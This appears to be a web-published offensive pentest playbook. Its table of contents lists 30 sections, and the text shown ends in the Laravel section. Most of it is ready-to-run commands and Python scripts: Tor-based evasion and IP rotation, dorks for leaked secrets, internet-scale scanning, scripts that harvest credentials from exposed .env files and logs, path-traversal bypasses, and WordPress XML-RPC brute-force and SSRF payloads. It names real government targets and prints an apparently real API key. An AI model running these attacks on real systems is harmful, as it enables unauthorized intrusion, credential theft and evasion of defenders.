Skip to main content

Dotmind it

The Practical Pentest Playbook

Table of Contents

Author’s Note: This playbook is a living document updated continuously as new techniques are validated in the field. If a technique is here, it shipped results. The content of this playbook is also used to train and fine-tune offensive security agents, making the knowledge directly executable. Contributions, corrections, and new findings are always welcome.

## PLAYBOOK - PENTEST & RECON

Technical guide to methodology, techniques, risks, and automation for offensive pentests. Based on real field experience across 100+ targets — city halls, government, healthtech, logistics, fintech, e-commerce, ISPs, universities, game publishers, IP cameras, and more.


# INDEX

  1. Philosophy & Mindset
  2. Preparation & OPSEC
  3. Passive Reconnaissance
  4. Active Reconnaissance — Nmap, Masscan, and RustScan
  5. Web Enumeration
  6. JS Bundle & Source Map Analysis
  7. WordPress Deep Dive
  8. Laravel, Spring Boot, ASP.NET, Exchange & Other Frameworks
  9. Cloud Functions & Serverless (GCP, AWS)
  10. Firebase, Firestore & GCP Exploitation
  11. Supabase Exploitation
  12. Cloud Run, Containers & Artifact Registry
  13. S3 / MinIO / Blob Storage
  14. Code Leaks — GitHub, GitLab, Docker Hub, NPM
  15. Authentication & Bypass
  16. JWT — Complete Attacks
  17. CORS Misconfiguration
  18. Web Cache Poisoning & Web Cache Deception
  19. SSRF, SQLi, LFI & Other Classes
  20. Exposed Infrastructure — MySQL, Redis, FTP, Docker
  21. Docker Privilege Escalation
  22. Python Snippets & Automation
  23. Email Security — DMARC, SPF, DKIM
  24. Subdomain Takeover & DNS
  25. Advanced Field Techniques
  26. Advanced Techniques — Part 2
  27. Report & Triage Methodology
  28. Final Checklist
  29. Essential Tools
  30. Technique Effectiveness Summary

# 1. PHILOSOPHY & MINDSET

## Pentester Mindset

  • Work the edges: don’t focus on what’s blocked, explore what’s open.
  • One finding leads to another: .env → credentials → Firebase → GCP IAM → everything.
  • Don’t spam: rate limiting burns your IP. 1 request every 2-3 seconds.
  • Document everything: what you discover today may be useful tomorrow.
  • Think like a developer: “Where would I put credentials? Where would I forget to lock down?”
  • Every target has something: across 100+ tested targets, NONE was 100% secure.
  • Prioritize what matters: CRUD without auth > info disclosure > low severity.

## Finding Value Hierarchy

.env / .git exposed                               → 🔥🔥🔥 full access to credentials
CRUD without auth (API, Firestore, Supabase)       → 🔥🔥🔥 bulk data, write
Firebase / Supabase public anon key              → 🔥🔥🔥 full collection dump
Leaked source code (public GitLab, Vite dev)     → 🔥🔥🔥 secrets, logic, endpoints
Cloud Function without auth (GET + DELETE)            → 🔥🔥🔥 leakage + destruction
Exposed RSA private key                            → 🔥🔥 forge JWT (if jti in DB)
JWT secret hardcoded in JS bundle                  → 🔥🔥 forge any user's tokens
APP_DEBUG=true in production                         → 🔥🔥 stack traces, SQL, paths
Exposed logs (laravel.log, debug.log)             → 🔥🔥 tokens, emails, queries
Public Cloud Run without auth                         → 🔥🔥 execution without authentication
Leaked IAM policy via SA key                       → 🔥🔥 owners, editors, service accounts
MySQL/Postgres exposed to the internet                 → 🔥🔥 brute force, known CVEs
DMARC p=none                                       → 🔥🔥 total email spoofing
CORS with origin reflection + credentials           → 🔥🔥 cross-origin data theft
Web Cache Deception (WCD)                          → 🔥🔥 authenticated data theft
Active WordPress XML-RPC (80 methods)               → 🔥🔥 unlimited brute force
SQLi (even blind)                                 → 🔥🔥 data extraction

## Exploration Order

1. Port scan (RustScan/Masscan) on direct IP
2. Test /.env, /.git/config, /Dockerfile, /storage/oauth-private.key
3. If credentials found → authenticate and escalate
4. Analyze JS bundles for API keys, JWTs, internal endpoints
5. Test CORS, cache poisoning, WCD
6. If Firebase found → test public Firestore + Storage
7. If Supabase found → list tables with anon key
8. If GCP SA key found → IAM policy, Storage, Firestore
9. With cloud access → list functions, containers, artifact registry
10. Document everything and prioritize by impact

# 2. PREPARATION & OPSEC

## Proxy/VPN — Protection Layer

There are 3 levels of identity protection:

### Level 1: ProxyChains (fast, but bypassable)

sudo apt install proxychains4 tor
# Config: /etc/proxychains4.conf → socks5 127.0.0.1 9050
proxychains4 curl ifconfig.me

Limitations: Does not work with Go/Rust binaries (static). UDP leaks. DNS can leak.

### Level 2: proxy-ns (kernel-level, impossible to escape)

git clone https://github.com/OkamiW/proxy-ns.git /tmp/proxy-ns
cd /tmp/proxy-ns
CGO_ENABLED=0 make
sudo cp proxy-ns /usr/local/bin/
# Forces all traffic through Tor using kernel network namespace
sudo proxy-ns curl -s ifconfig.me   # Single command
sudo proxy-ns $SHELL                 # Entire shell via Tor

Advantages: Go/Rust binaries work, UDP protected, DNS isolated, direct route impossible.

### Tor Circuit Rotation (change IP)

# Enable ControlPort in /etc/tor/torrc
ControlPort 9051
CookieAuthentication 0

# Rotate
echo -e "AUTHENTICATE\r\nSIGNAL NEWNYM" | nc -w1 127.0.0.1 9051
sleep 2
sudo proxy-ns curl -s ifconfig.me  # New IP

## Stealth Headers (Python)

import requests, random, time

UAS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15",
]

headers = {
    "User-Agent": random.choice(UAS),
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": random.choice(["pt-BR,pt;q=0.9", "en-US,en;q=0.5"]),
    "Accept-Encoding": "gzip, deflate",
    "DNT": "1",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
}

time.sleep(random.uniform(2, 6))  # Jitter between requests

## Real Exposure Risks

RiskHow It HappensConsequence
Leaked IPServer logs, WebRTC, DNS leaksBlocking, tracking
FingerprintingUser-Agent, TLS fingerprint (JA3), headersIdentified as bot
Rate LimitToo many requests in a short periodIP permanently blocked
HoneypotFake endpoint that alerts the security teamLegal action
SIEM/SplunkCentralized logs detect patternsSecurity team alerted
Cloudflare WAFMany sequential 403/503IP added to blacklist
Tracked SA KeyExcessive service account usageKey revoked
GitHub APIToo many queries on the search APIRate limit, token revoked

## Pre-Test OPSEC Checklist

[ ] VPN/Tor active?
[ ] IP leaking? (check https://ipleak.net)
[ ] DNS leaking?
[ ] WebRTC disabled?
[ ] Generic and rotating User-Agent?
[ ] Random delay between requests?
[ ] GitHub credentials logged in only when needed?
[ ] Using Nmap -sT (SYN scan unsupported via proxy)?

# 3. PASSIVE RECONNAISSANCE

## DNS Enumeration

# CT logs (crt.sh) — BEST SOURCE OF SUBDOMAINS
curl -s "https://crt.sh/?q=%25.$target&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u

# Subdomain brute force (with rate control)
for sub in $(cat ~/wordlists/subdomains.txt); do
  host "$sub.$target" 2>/dev/null | grep "has address"
  sleep 0.1
done

# DNS zone transfer (rare, but always test)
for ns in $(host -t ns $target | cut -d" " -f4); do
  dig axfr @$ns $target
done

# Resolve all discovered subdomains
while IFS= read -r d; do
  ip=$(dig +short "$d" | head -1)
  [ -n "$ip" ] && echo "$d -> $ip"
done < subdomains.txt

### Certificate SAN — Hidden Subdomains in the SSL Certificate

Beyond crt.sh, the server’s own SSL certificate may contain subdomains in the Subject Alternative Name (SAN) field that don’t appear in CT logs:

# 1. Extract SANs directly from the certificate
openssl s_client -connect target.com:443 -servername target.com </dev/null 2>/dev/null | \
  openssl x509 -noout -ext subjectAltName | grep -oP 'DNS:[^,]+' | cut -d: -f2 | sort -u

# 2. Via Python (more complete)
python3 -c "
import ssl, socket, json
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
with ctx.wrap_socket(socket.socket(), server_hostname='target.com') as s:
    s.connect(('target.com', 443))
    cert = s.getpeercert()
    for san in cert.get('subjectAltName', ()):
        if san[0] == 'DNS':
            print(san[1])
"

# 3. Extract full certificate metadata
echo | openssl s_client -connect target.com:443 -servername target.com 2>/dev/null | \
  openssl x509 -noout -text | grep -A1 "Subject Alternative Name"

Advantage: Discovers *.gob.ar and *.gov.ar subdomains simultaneously (when the org uses both TLDs). Real-world case: MPF Argentina — the SSO certificate revealed fiscales.gob.ar, fiscales.gov.ar, mpf.gov.ar, www.fiscales.gob.ar, www.fiscales.gov.ar that didn’t appear in conventional CT searches.

## Google Dorks — Exposed Configs & Secrets

### High-Precision Dorks

site:$target "APP_KEY"
site:$target "DB_PASSWORD"
site:$target "-----BEGIN RSA PRIVATE KEY-----"
site:$target filetype:env
site:$target inurl:git/config
site:$target intitle:"index of" ".env"
site:$target "api_key" OR "apikey" OR "secret_key"
site:$target "firebase" "apiKey"
site:$target "supabase" "anon" "key"
site:$target inurl:"/.env" "DB_PASSWORD"
site:$target "client_secret" "redirect_uris" extension:json
site:$target "private_key" "client_email" extension:json

### Dork for Exposed Configuration Files

Searches for ALL file extensions that may contain credentials and configurations:

site:target.com ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:env | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git | ext:svn | ext:htpasswd | ext:htaccess | ext:json

This covers:

  • logs → tokens, SQL queries, emails in plain text
  • txt/conf/cnf/ini → server configurations, DB hosts
  • env → environment variables with credentials
  • sh → scripts with hardcoded passwords
  • bak/backup/swp/old/~ → backup files with old versions (sometimes without sanitization)
  • git/svn → exposed versioned repositories
  • htpasswd/htaccess → access control with hashes
  • json → service accounts, Firebase configs, Supabase configs

### Dorks for Specific Services

# Supabase
site:target.com "supabase.co" "anon_key" OR "SUPABASE_ANON_KEY"

# Firebase
site:target.com "firebase-adminsdk" "private_key_id" extension:json

# AWS
site:target.com "AKIA" filetype:env NOT example NOT test

# SendGrid
site:target.com "SG." filetype:env NOT example

# MongoDB
site:target.com "mongodb+srv://" "password" extension:env NOT example NOT test

# Docker
site:target.com "docker-compose.yml" "environment:" NOT example

# CI/CD
site:target.com ".gitlab-ci.yml" "token" OR "secret"
site:target.com ".github/workflows" "secrets."

### Automated Secret Extraction from Google Dorks

import requests, re
from bs4 import BeautifulSoup

def google_dork_search(dork, num_results=50):
    """Searches using Google dork and extracts secret patterns."""
    headers = {"User-Agent": "Mozilla/5.0"}
    # Use Google Custom Search API or HTML results parsing
    # (direct Google scraping is blocked — use API)
    
# Patterns to extract from results
EXTRACT_PATTERNS = [
    (r'(?:DB_PASSWORD|DB_USERNAME|DB_HOST|DB_DATABASE)\s*=\s*(\S+)', 'DB Config'),
    (r'(?:APP_KEY|APP_SECRET)\s*=\s*(\S+)', 'App Key'),
    (r'(?:JWT_SECRET|JWT_KEY)\s*=\s*(\S+)', 'JWT Secret'),
    (r'(?:AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY)\s*=\s*(\S+)', 'AWS Key'),
    (r'(?:MAIL_PASSWORD|MAIL_USERNAME|SMTP_PASS)\s*=\s*(\S+)', 'Email Config'),
    (r'(?:REDIS_PASSWORD|REDIS_URL)\s*=\s*(\S+)', 'Redis Config'),
]

## Shodan (for infrastructure)

# Port statistics by ASN/ISP
shodan stats --facets port --limit 20 org:"ISP NAME"

# Search by specific banner
shodan search "Apache/2.4.62" --fields ip_str,port,org

# Search cameras in a range
shodan search --fields ip_str,port,org net:187.0.0.0/8 has_screenshot:true

## Emails and People

# hunter.io for domain email patterns
# haveibeenpwned.com to check leaked emails
# LinkedIn + Google to map employees (firstname.lastname@target.com)

# 4. ACTIVE RECONNAISSANCE — NMAP, MASSCAN AND RUSTSCAN

## 4.1 RustScan — Fast Port Scanner

RustScan is ideal for individual targets or small ranges. Extremely fast (3s for 1000 ports).

# Installation (Docker)
docker pull rustscan/rustscan:2.1.1
alias rustscan='docker run -it --rm --name rustscan rustscan/rustscan:2.1.1'

# Cargo
cargo install rustscan
export PATH="$HOME/.cargo/bin:$PATH"

### Essential Commands

# Fast scan of common ports
rustscan -a 192.168.1.1 -p 21,22,25,80,443,3306,5432,6379,8080,8443 --ulimit 5000

# Full scan + Nmap version enumeration
rustscan -a 192.168.1.1 -r 1-10000 -t 500 -b 1500 --ulimit 5000 -- -sC -sV

# /24 range scan
rustscan -a 192.168.1.0/24 --ulimit 5000 -g

# Greppable output (easy to parse)
rustscan -a target.com -r 1-10000 -g | grep "Open" | cut -d' ' -f2 > open_ports.txt

Performance: RustScan ~3s vs curl loop ~20min for 1000 ports (400x gain).

## 4.2 Masscan — Internet-Scale Scanner

Masscan is for massive ranges (/8, /0). Can scan the entire Internet on 1 port in 5 minutes.

# Installation (from source)
cd masscan && make -j$(nproc)
sudo make install

### Essential Flags

FlagDescriptionExample
-pPorts (required)-p80,443,8000-8100
--ratePackets/second (default 100, max ~1.6M)--rate 100000
-oL/-oJ/-oGOutput (list/JSON/grepable)-oJ scan.json
--openOpen ports only--open
--bannersBanner grabbing--banners
--source-ipSource IP (for banner grabbing)--source-ip 192.168.1.200
--shardSplits scan across N machines--shard 1/5
--resumeResumes interrupted scan--resume paused.paused
-iLIP list from file-iL targets.txt

### Essential Commands

# Fast scan of common ports in subnet
masscan 192.168.1.0/24 -p80,443,22,21,8080,8443,3306,5432 --rate 10000 -oL scan.txt

# Full scan of 1 host
masscan 187.62.129.47 -p1-65535 --rate 10000 -oJ full.json

# Banner grabbing (requires --source-ip)
masscan 10.0.0.0/8 -p80,443,22 --banners --source-ip 192.168.1.200 --rate 5000

# Sharding (4 machines, each scanning 25%)
masscan 0.0.0.0/0 -p80,443 --rate 100000 --shard 1/4 -oB shard1.bin

### Output Parsing

# JSON → IP:port
jq -r '.[] | "\(.ip):\(.ports[0].port)"' scan.json | sort -u

# Grepable → IP:port
grep "open" scan.grep | awk '{print $2":"$5}' | tr '/' ' ' | awk '{print $1":"$3}' | sort -u

# List → filter open
grep "^open" scan.txt | awk '{print $4":"$3}' | sort -u

## 4.3 Nmap — Deep Enumeration

Nmap is for detailed analysis of already discovered hosts.

# Full enumeration of 1 host
nmap -sV -sC -O -p- --reason target.com

# Stealth scan (slower, less detectable)
nmap -sS -Pn -n -T2 --max-retries 2 -p 1-1000 target.com

# OS detection
nmap -O target.com

# Specific NSE scripts
nmap --script http-enum,http-headers,ssl-enum-ciphers target.com

## 4.4 Decision Rule — Which Scanner to Use?

ScenarioToolWhy
Single target, ~1000 portsRustScanFastest (3s)
Range /24 (254 hosts)Masscan2s at 10k pps
Range /8 or largerMasscanOnly one that handles the scale
Deep enumeration (1 host)NmapNSE scripts, OS detection
Mass banner grabbingMasscanCustom TCP stack
Unstable network, packet lossNmapSmart retry
Pipeline + NmapRustScanAutomatic pipe -- -sV -sC

## 4.5 Integrated Pipeline

# 1. Fast masscan to find hosts + ports
masscan 10.0.0.0/24 -p1-65535 --rate 10000 -oJ masscan_out.json

# 2. Extract IP:port from open ones
jq -r '.[] | "\(.ip):\(.ports[0].port)"' masscan_out.json | sort -u > alive.txt

# 3. Deep nmap only on confirmed
while IFS=: read ip port; do
  nmap -sV -sC -p $port $ip -oN nmap_${ip}_${port}.txt
done < alive.txt

## Ports and Their Meanings in a Pentest Context

PortServiceWhat to look for
21FTPAnonymous login, credentials in files
22SSHVersion, brute force, key-based auth
80/443HTTP/HTTPS.env, .git, APIs, admin panels
3000Coolify/GrafanaDeploy panel, metrics
3306MySQLExposed without firewall, brute force, EOL CVEs
5000Flask/WerkzeugDebug console, endpoints without auth
5432PostgreSQLExposed, credentials in .env
6379RedisNo password, cached data
8080HTTP altConfig different from port 80, Tomcat, Jenkins
8443HTTPS altDirect Apache (bypass nginx), Tomcat
9000/9001MinIO/S3Public storage, upload without auth
9090PrometheusMetrics, internal endpoints
9200ElasticsearchNo auth, index dump
27017MongoDBNo auth, collection dump

# 5. WEB ENUMERATION

## 5.1 Sensitive Files — ALWAYS TEST

This is the first thing to do on any target. Success rate is high on neglected infrastructure.

import requests

base = "https://target.com"
files = [
    # Environment & Config
    "/.env", "/.env.example", "/.env.production", "/.env.local",
    "/.env.backup", "/.env.bak", "/.env.old", "/.env.dev",
    "/.env.staging", "/config/.env",
    # Git
    "/.git/config", "/.git/HEAD", "/.git/index",
    "/.git/refs/heads/master", "/.git/logs/HEAD",
    # Laravel
    "/storage/oauth-private.key", "/storage/oauth-public.key",
    "/storage/logs/laravel.log", "/storage/logs/laravel-*.log",
    "/storage/framework/views/*",
    # Docker / Deploy
    "/Dockerfile", "/docker-compose.yml", "/docker-compose.override.yml",
    "/Procfile", "/.dockerignore",
    # Package Managers
    "/composer.json", "/composer.lock", "/package.json",
    "/package-lock.json", "/yarn.lock", "/Gemfile", "/Gemfile.lock",
    "/requirements.txt", "/Pipfile", "/Pipfile.lock",
    "/Cargo.toml", "/go.mod",
    # Frameworks
    "/artisan", "/server.php", "/web.config",
    "/wp-config.php", "/wp-config.php.bak", "/wp-config.php~",
    "/wp-content/debug.log", "/readme.html",
    # Source Maps (reconstruct source code!)
    "/assets/index-*.js.map", "/build/*.js.map",
    "/static/js/*.js.map", "/js/*.js.map",
    # Debug / Info
    "/phpinfo.php", "/info.php", "/test.php", "/debug",
    "/actuator", "/actuator/env", "/actuator/health",
    "/actuator/beans", "/actuator/mappings",
    "/swagger-ui.html", "/swagger-ui/index.html",
    "/v2/api-docs", "/v3/api-docs",
    "/graphql", "/graphiql", "/playground",
    # Panels
    "/admin", "/login", "/dashboard", "/panel",
    "/manager/html", "/host-manager/html",  # Tomcat
    # Misc
    "/robots.txt", "/sitemap.xml",
    "/.htaccess", "/nginx.conf", "/.well-known/security.txt",
    "/server-status", "/server-info",
    "/phpmyadmin", "/_phpmyadmin", "/pma",
]

for f in files:
    try:
        r = requests.get(f"{base}{f}", timeout=10, allow_redirects=False)
        if r.status_code == 200 and len(r.text) > 20:
            print(f"✅ {f} ({len(r.text)}b): {r.text[:150]}")
        elif r.status_code == 301 or r.status_code == 302:
            print(f"⚠️  {f} -> redirect {r.status_code} to {r.headers.get('Location')}")
        elif r.status_code == 401 or r.status_code == 403:
            print(f"🔒 {f} -> {r.status_code} (exists, blocked)")
    except Exception as e:
        pass

## 5.2 Path Traversal & Bypass

# Bypass variations for blocking rules
paths = [
    "/../.env", "/%2e%2e/.env", "/..%2f.env",
    "/public/../.env", "/storage/../.env", "/html/../.env",
    "/app/../.env", "/www/../.env",
    "/.%00.env", "/.env%00.html", "/.env%23",
]

## 5.3 Virtual Host (vHost) Enumeration

If the IP serves multiple sites, the default vhost may be insecure and expose files.

# Test different Host headers on the server IP
hosts = [
    "target.com", "www.target.com", "admin.target.com",
    "api.target.com", "dev.target.com", "localhost",
    "127.0.0.1", "internal", "test"
]
for host in hosts:
    try:
        r = requests.get(f"http://SERVER_IP/.env", headers={"Host": host}, timeout=5)
        if "APP_KEY" in r.text or "DB_PASSWORD" in r.text or len(r.text) > 50:
            print(f"✅ .env exposed via Host: {host}")
    except:
        pass

## 5.4 Automatic .env Credential Extraction

import re

env_content = requests.get("http://target/.env", timeout=10).text

patterns = {
    "DB_HOST":      r"DB_HOST=(.+)",
    "DB_DATABASE":  r"DB_DATABASE=(.+)",
    "DB_USERNAME":  r"DB_USERNAME=(.+)",
    "DB_PASSWORD":  r"DB_PASSWORD=(.+)",
    "APP_KEY":      r"APP_KEY=(.+)",
    "APP_URL":      r"APP_URL=(.+)",
    "REDIS_HOST":   r"REDIS_HOST=(.+)",
    "REDIS_PASSWORD": r"REDIS_PASSWORD=(.+)",
    "MAIL_USERNAME": r"MAIL_USERNAME=(.+)",
    "MAIL_PASSWORD": r"MAIL_PASSWORD=(.+)",
    "AWS_KEY":      r"AWS_(?:ACCESS_KEY_ID|SECRET_ACCESS_KEY)=(.+)",
    "SENDGRID":     r"SENDGRID_API_KEY=(.+)",
    "SENTRY":       r"SENTRY_DSN=(.+)",
    "JWT_SECRET":   r"JWT_SECRET=(.+)",
    "OAUTH":        r"OAUTH_(?:CLIENT_ID|CLIENT_SECRET)=(.+)",
    "FIREBASE":     r"FIREBASE_.+=(.+)",
    "OPENAI":       r"OPENAI_API_KEY=(.+)",
    "STRIPE":       r"STRIPE_(?:KEY|SECRET)=(.+)",
}

for name, pattern in patterns.items():
    matches = re.findall(pattern, env_content)
    for m in matches:
        print(f"🔑 {name}: {m.strip()}")

## 5.5 Log Data Extraction

log = requests.get("http://target/storage/logs/laravel.log", timeout=30).text
# or /wp-content/debug.log, /var/log/apache2/error.log

# Extract emails
emails = set(re.findall(r'[\w.+-]+@[\w-]+\.[\w.-]+', log))
for e in sorted(emails):
    if not e.endswith(('.png','.jpg','.svg','.css','.js','.ico','.woff')):
        print(f"📧 {e}")

# Extract SQL queries
sqls = re.findall(r'(?:SQL:|Executing query:|query:)\s*(.*?)(?:\\|$)', log)
for s in set(sqls):
    if len(s) > 10:
        print(f"🗄️ {s[:200]}")

# Extract JWT tokens
jwts = re.findall(r'eyJ[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}', log)
for j in set(jwts):
    print(f"🔑 JWT: {j[:80]}...")

# Extract stack traces (system paths)
paths = set(re.findall(r'(?:in |at )/(?:[a-zA-Z0-9_\-./]+\.(?:php|js|ts|py|rb))', log))
for p in sorted(paths):
    print(f"📁 {p}")

# 6. JS BUNDLE & SOURCE MAP ANALYSIS

## 6.1 Why Analyze JS Bundles

Modern JavaScript bundles (Webpack, Vite, esbuild) often contain:

  • Hardcoded API keys and tokens
  • Internal API URLs
  • Firebase, Auth0, Supabase configurations
  • Environment variables (VITE_, REACT_APP_, NEXT_PUBLIC_*)
  • Internal routes
  • Feature flags

## 6.2 Bundle Download and Analysis

# Download the main HTML
curl -s "https://target.com" > index.html

# Extract JS bundle URLs
grep -oP 'src="[^"]*\.js"' index.html | cut -d'"' -f2 | while read js; do
  curl -s "https://target.com$js" > "$(basename $js)"
done

# Search for secrets in bundles
grep -rPn "(?:apiKey|api_key|API_KEY|token|secret|password|clientId|client_id|auth0|firebase|supabase)[\"']?\s*[:=]\s*[\"'][^\"']{8,}" *.js

## 6.3 Source Maps — Source Code Reconstruction

Source maps (.js.map) reconstruct the original TypeScript/ES6 code, exposing ALL frontend logic.

# Check if source maps are exposed
curl -sI "https://target.com/assets/index-abc123.js.map"
curl -sI "https://target.com/static/js/main.12345.js.map"

# If they exist (HTTP 200), download and use:
# https://unminify.com or https://source-map-visualization.netlify.app

Real-world case: In an enterprise Angular SPA admin, 2 JS bundles of 250KB each exposed:

  • Internal API URL (apiv3.empresa.com.br)
  • Firebase API key (AIzaSyCnQ7hg9qn8mrS3zSLX-xeXX3wKbuC2GXA)
  • Encryption keys (AD5oDjsJaTJOzLe1Llj9mz)
  • Cloudinary upload endpoint

## 6.4 Regex Patterns for Secrets in JS

import re

patterns = {
    "Firebase API Key": r'apiKey:\s*["\']([A-Za-z0-9_\-]{30,})',
    "AWS Key": r'(?:AKIA|ASIA)[A-Z0-9]{16}',
    "Google API Key": r'AIza[0-9A-Za-z\-_]{35}',
    "JWT": r'eyJ[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{10,}',
    "Mercado Pago": r'APP_USR-[a-f0-9]{8,}',
    "Stripe": r'(?:sk_live|pk_live)_[A-Za-z0-9]{24,}',
    "Auth0 Domain": r'(?:domain|auth0_domain):\s*["\']([^"\']+\.auth0\.com)',
    "Auth0 Client ID": r'(?:client_id|clientId|AUTH0_CLIENT_ID):\s*["\']([^"\']{20,})',
    "Supabase URL": r'(?:supabaseUrl|SUPABASE_URL):\s*["\'](https://[^"\']+\.supabase\.co)',
    "Supabase Key": r'(?:supabaseKey|anonKey|SUPABASE_ANON_KEY):\s*["\'](eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+)',
    "Heroku": r'[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}',
    "Generic Secret": r'(?:secret|password|token|key):\s*["\']([^"\']{8,})',
}

# 7. WORDPRESS DEEP DIVE

## 7.1 Version and Plugin Detection

# Version in HTML
curl -s "https://target.com" | grep -oP 'generator"[^>]+content="WordPress [0-9.]+'

# Active plugins (via HTML)
curl -s "https://target.com" | grep -oP "wp-content/plugins/[^/'\"]+"

# Themes
curl -s "https://target.com" | grep -oP "wp-content/themes/[^/'\"]+"

# Users via REST API
curl -s "https://target.com/wp-json/wp/v2/users"

# Users via author ID (test 1-20)
for id in $(seq 1 20); do
  curl -sI "https://target.com/?author=$id" | grep -i "location"
done

# Readme (exact version)
curl -s "https://target.com/readme.html" | grep -i "version"

## 7.2 XML-RPC — The Most Dangerous WordPress Attack Surface

When active, XML-RPC is a massive attack vector.

# Check if active
curl -s -X POST "https://target.com/xmlrpc.php" -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

# List ALL available methods (80+ on real sites)
curl -s -X POST "https://target.com/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

# Credential brute force via wp.getUsersBlogs (UNLIMITED if no rate limit)
curl -s -X POST "https://target.com/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName>
      <params><param><value><string>admin</string></value></param>
      <param><value><string>PASSWORD</string></value></param></params></methodCall>'

# SSRF via pingback.ping (reach internal network)
curl -s -X POST "https://target.com/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName>
      <params><param><value><string>http://INTERNAL_IP:PORT/</string></value></param>
      <param><value><string>https://target.com/post</string></value></param></params></methodCall>'

Real-world case: Government transparency portal — XML-RPC active with 80 methods, no rate limiting. wp.getUsersBlogs allowed unlimited brute force to test admin credentials.

### XMLRPC Blocked by SSO — How to Identify

When WordPress is behind a corporate SSO (SimpleSAMLphp, ADFS, etc.), XMLRPC may respond with HTML instead of XML:

# Symptom: ALL auth attempts return HTML with login page
# Methods that do NOT require auth (system.listMethods, demo.sayHello, pingback.ping)
# still work and return normal XML!

# How to confirm:
# 1. Test method without auth (works → XMLRPC active)
# 2. Test method with auth (returns HTML login → SSO intercepting)
# 3. Check SSO redirect in response (Location header)

import requests

xml = '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>'
r = requests.post("https://target.com/xmlrpc.php", data=xml,
    headers={'Content-Type': 'text/xml'})
print(r.text)  # "<methodResponse><params><param>..." → WORKS

xml_auth = '''<?xml version="1.0"?>
<methodCall><methodName>wp.getUsersBlogs</methodName>
  <params><param><value><string>admin</string></value></param>
  <param><value><string>test</string></value></param></params></methodCall>'''
r = requests.post("https://target.com/xmlrpc.php", data=xml_auth,
    headers={'Content-Type': 'text/xml'})
# "<!DOCTYPE html><html>..." → SSO HTML! Auth intercepted

# Even when blocked, we can still:
# - Enumerate all 79+ methods (system.listMethods)
# - Test SSRF via pingback.ping (works without auth!)
# - Identify WordPress version via system.getCapabilities

Real-world case: mpf.gob.ar — 79 active XMLRPC methods. demo.sayHello and pingback.ping work without auth. wp.getUsersBlogs returns SSO redirect. No rate limiting detected.

## 7.3 REST API Endpoints

# Exposed namespaces
curl -s "https://target.com/wp-json/" | jq '.namespaces'

# List pages
curl -s "https://target.com/wp-json/wp/v2/pages?per_page=100" | jq '.[] | {id,slug,link}'

# List posts
curl -s "https://target.com/wp-json/wp/v2/posts?per_page=100"

# List media (documents, PDFs)
curl -s "https://target.com/wp-json/wp/v2/media?per_page=100" | jq '.[] | {id,title:.title.rendered,url:.source_url}'

# Page revisions (full history)
curl -s "https://target.com/wp-json/wp/v2/pages/{id}/revisions"

# Custom post types
curl -s "https://target.com/wp-json/wp/v2/types"

# Taxonomies
curl -s "https://target.com/wp-json/wp/v2/taxonomies"

## 7.4 Vulnerable Plugins (common CVEs)

WPDM (Download Manager) < 3.3.00     → CVE-2023-49753 SQLi
WPDM < 3.2.00                         → CVE-2021-25069 unauthenticated download
WPDM < 3.2.10                         → CVE-2021-34639 authenticated file upload
Contact Form 7 < 5.6                  → file upload bypass
Yoast SEO                              → sitemaps, XML-RPC endpoints
WP Super Cache                         → exposed debug log
GSpeech                                → CVE-2025-10187 (old versions)
Revslider                              → dozens of file upload CVEs
Ninja Forms                            → file upload, XSS
Popup Maker                            → XSS, redirect

## 7.5 WordPress Attack Surface Map

WordPress Attack Surface:

1. wp-login.php                     → Brute force, user enumeration
2. xmlrpc.php (if 200)              → UNLIMITED brute force, SSRF
3. /wp-json/wp/v2/users             → User enumeration
4. /wp-json/wp/v2/pages             → Page content
5. /wp-json/wp/v2/media             → Media and documents
6. /wp-json/wp/v2/pages/{id}/revisions → History (deleted data!)
7. /wp-json/wp-site-health/v1       → Diagnostic info
8. /wp-admin/admin-ajax.php         → AJAX calls (sometimes without nonce)
9. /?author=1                        → User ID enumeration
10. /wp-content/plugins/*            → Plugin identification
11. /wp-content/uploads/*            → Uploaded files
12. wp-comments-post.php             → Comments (spam, XSS)

# 8. LARAVEL, SPRING BOOT, ASP.NET, EXCHANGE & OTHER FRAMEWORKS

## 8.1 Laravel — Attack Surface

# Environments
/.env, /.env.example, /.env.production, /.env.local

# OAuth keys (forge JWT if exposed)
/storage/oauth-private.key
/storage/oauth-public.key

# Logs (tokens, queries, emails, stack traces)
/storage/logs/laravel.log
/storage/logs/laravel-2026-*.log

# Debug (if APP_DEBUG=true)
# Any 500 error returns the full stack trace with SQL queries

# Exposed Artisan commands
/artisan

# Laravel Telescope (debug dashboard)
/telescope/requests, /telescope/exceptions, /telescope/queries

# Laravel Horizon (queue dashboard)
/horizon/dashboard

# Routes (in production, rarely exposed)
/routes

# API docs
/docs, /api/documentation, /swagger

